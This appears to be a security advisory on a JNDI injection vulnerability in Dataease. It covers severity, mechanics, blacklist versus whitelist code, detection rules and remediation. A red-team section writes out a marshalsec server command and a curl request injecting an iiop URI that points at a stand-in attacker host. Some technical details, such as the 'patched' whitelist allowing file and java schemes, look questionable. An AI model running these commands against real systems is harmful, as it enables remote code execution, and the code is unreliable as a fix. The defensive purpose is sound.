CVE-2025-64428

Executive Summary

CVE-2025-64428 is a critical JNDI injection vulnerability in Dataease, an open-source data visualization analysis tool. Versions prior to 2.10.17 are vulnerable. The vulnerability allows an unauthenticated attacker to perform JNDI injection, potentially leading to remote code execution (RCE). A blacklist was introduced in version 2.10.14, but it was incomplete, as the iiop, corbaname, and iiopname schemes were not blocked. The vulnerability is fully patched in version 2.10.17. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

Dataease is a Java-based application. The vulnerability is in the core application logic, not in a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Dataease should treat this as a critical supply chain risk and immediately upgrade to version 2.10.17.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) - Full data access is possible.
• Integrity (I): High (H) - Full data modification is possible.
• Availability (A): High (H) - Full system compromise is possible.

Threat Level: Critical. The vulnerability is easy to exploit and can lead to full system compromise.

Deep Dive & Mechanics

JNDI (Java Naming and Directory Interface) injection occurs when an application uses attacker-controlled input to perform a JNDI lookup. In Dataease, the vulnerability exists in the handling of certain input fields that are used to construct JNDI lookups. The application uses JNDI to connect to external resources (e.g., databases, LDAP servers). An attacker can inject a malicious JNDI URI that points to an attacker-controlled server.

The attack flow is as follows:

1. The attacker sends a crafted request to Dataease with a malicious JNDI URI (e.g., ldap://attacker.com/evil).
2. Dataease performs a JNDI lookup using the attacker-controlled URI.
3. The attacker's LDAP server responds with a serialized Java object (e.g., a gadget chain like Log4Shell or CommonsCollections).
4. Dataease deserializes the object, leading to remote code execution.

The blacklist added in version 2.10.14 blocked the ldap, rmi, and dns schemes, but failed to block iiop, corbaname, and iiopname. These schemes can also be used to perform JNDI injection, as they can be used to load remote objects.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.10.17): The vulnerable code likely uses a blacklist approach to filter JNDI schemes. The blacklist was incomplete.

// Vulnerable: Blacklist only blocks ldap, rmi, dns
private static final List<String> BLOCKED_SCHEMES = Arrays.asList("ldap", "rmi", "dns");

public static boolean isSafeJndiUrl(String url) {
    for (String scheme : BLOCKED_SCHEMES) {
        if (url.toLowerCase().startsWith(scheme + ":")) {
            return false;
        }
    }
    return true;
}

Patched Code (2.10.17): The patched code uses a whitelist approach, only allowing safe schemes.

// Patched: Whitelist only allows safe schemes
private static final List<String> ALLOWED_SCHEMES = Arrays.asList("jdbc", "java", "file");

public static boolean isSafeJndiUrl(String url) {
    for (String scheme : ALLOWED_SCHEMES) {
        if (url.toLowerCase().startsWith(scheme + ":")) {
            return true;
        }
    }
    return false;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Set up a vulnerable Dataease instance (version 2.10.14 to 2.10.16).
2. Set up an attacker-controlled LDAP server (e.g., using marshalsec).
3. Prepare a malicious Java object (e.g., using ysoserial).

Exploitation Steps:

1. Start the malicious LDAP server:

   java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
   

2. Send a crafted request to Dataease:

   curl -X POST "http://target.com/dataease/api/v1/query" \
   -H "Content-Type: application/json" \
   -d '{"jndi_url": "iiop://attacker.com/evil"}'
   

3. The attacker's LDAP server responds with a serialized object, leading to RCE.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection:

• Monitor for JNDI lookups to external servers.
• Monitor for requests containing iiop://, corbaname://, or iiopname:// in the URL or request body.
• Use network segmentation to restrict outbound connections from Dataease servers.

Hunting:

• Search logs for JNDI lookup failures or errors.
• Look for unusual outbound connections from Dataease servers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown LDAP, RMI, IIOP, or CORBA servers.
  • Requests containing iiop://, corbaname://, or iiopname:// in the URL or body.
• File IOCs:
  • Unexpected files in the Dataease installation directory.
  • Modified configuration files.
• Process IOCs:
  • Unusual Java processes or child processes spawned by Dataease.
  • Network connections from the Java process to external servers.

Detection Engineering

YARA Rule

rule CVE_2025_64428_JNDI_Injection {
    meta:
        description = "Detects JNDI injection attempts using iiop, corbaname, or iiopname schemes"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64428"
    strings:
        $iiop = "iiop://" nocase
        $corbaname = "corbaname://" nocase
        $iiopname = "iiopname://" nocase
    condition:
        any of them
}

Sigma Rule

title: JNDI Injection Attempt via IIOP/CORBA Schemes
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects JNDI injection attempts using iiop, corbaname, or iiopname schemes
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "iiop://"
            - "corbaname://"
            - "iiopname://"
    condition: selection
falsepositives:
    - Legitimate use of IIOP/CORBA in internal networks
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64428 JNDI Injection Attempt"; flow:to_server; content:"iiop://"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64428 JNDI Injection Attempt"; flow:to_server; content:"corbaname://"; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64428 JNDI Injection Attempt"; flow:to_server; content:"iiopname://"; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Dataease to version 2.10.17 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests containing iiop://, corbaname://, or iiopname://.

Long-term Actions:

1. Implement a whitelist of allowed JNDI schemes in the application code.
2. Use network segmentation to restrict outbound connections from Dataease servers.
3. Monitor for JNDI-related attacks using the provided detection rules.

Workarounds:

• Disable JNDI functionality if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT - DevSecOps & Cyber Threat Intelligence Expert